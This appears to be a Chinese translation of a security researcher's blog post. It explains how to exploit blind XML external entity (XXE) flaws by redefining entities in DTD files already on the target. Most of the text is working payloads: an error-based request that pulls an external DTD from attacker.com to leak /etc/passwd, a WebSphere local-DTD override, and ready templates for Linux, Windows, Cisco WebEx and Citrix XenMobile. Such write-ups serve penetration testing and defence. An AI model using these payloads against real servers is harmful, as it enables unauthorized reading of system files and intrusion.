https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
近年来XXE的阻碍 假设你有一个XXE漏洞,支持外部实体,但是服务响应总是一片空白,这时候你一般有两个选项:报错或者外带(OOB)。
报错的示例类似这样
请求
1 2 3 4 5 6 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd"> %ext; ]> <message></message>
ext.dtd
1 2 3 4 <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
响应
1 2 3 4 5 6 java.io.FileNotFoundException: /nonexistent/ root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin (No such file or directory)
看吧,这样就可以通过报错来获取文件了,但是如果有防火墙,可能就获取不到了。
如果我们把外部DTD直接插入呢,我们可能会看到类似这样的错误
请求
1 2 3 4 5 6 7 8 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ]> <message></message>
响应
1 2 Internal Error: SAX Parser Error. Detail: The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.
我们可以看到,可以通过外部DTD包含一个实体,但是不能直接写在DTD文档的内部
如何使用内部DTD 根据上面的信息,我们如果要利用本地文件,就需要使用外部DTD,那么换个思路,我们可以在目标主机上想办法获取一些DTD文件,并覆盖这些DTD文件中的变量,像这样
请求
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message>any text</message>
sip-app_1_0.dtd
1 2 <!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)>
响应
1 2 3 4 5 6 java.io.FileNotFoundException: /nonexistent/ root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin (No such file or directory)
攻击成功是因为所有的XML实体都是常量,如果你定义了两个名字一样的实体,那么只有第一个会被使用。
如何寻找本地DTD文件 最快的方法是目录遍历。
在不同系统上的示例 下面是一些利用示例
Linux System 1 2 3 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd;
Windows System 1 2 3 <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'> %local_dtd;
Cisco WebEx 1 2 3 <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> %local_dtd;
Citrix XenMobile Server 1 2 3 <!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> %local_dtd;
1 2 3 4 5 6 7 8 9 10 11 <!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"> <!ENTITY % xs-datatypes 'Your DTD code'> <!ENTITY % simpleType "a"> <!ENTITY % restriction "b"> <!ENTITY % boolean "(c)"> <!ENTITY % URIref "CDATA"> <!ENTITY % XPathExpr "CDATA"> <!ENTITY % QName "NMTOKEN"> <!ENTITY % NCName "NMTOKEN"> <!ENTITY % nonNegativeInteger "NMTOKEN"> %local_dtd;
时间线
01/01/2016 — 发现这个技巧
12/12/2018 — 写下这篇文章 :D
13/12/2018 — 文章完整发布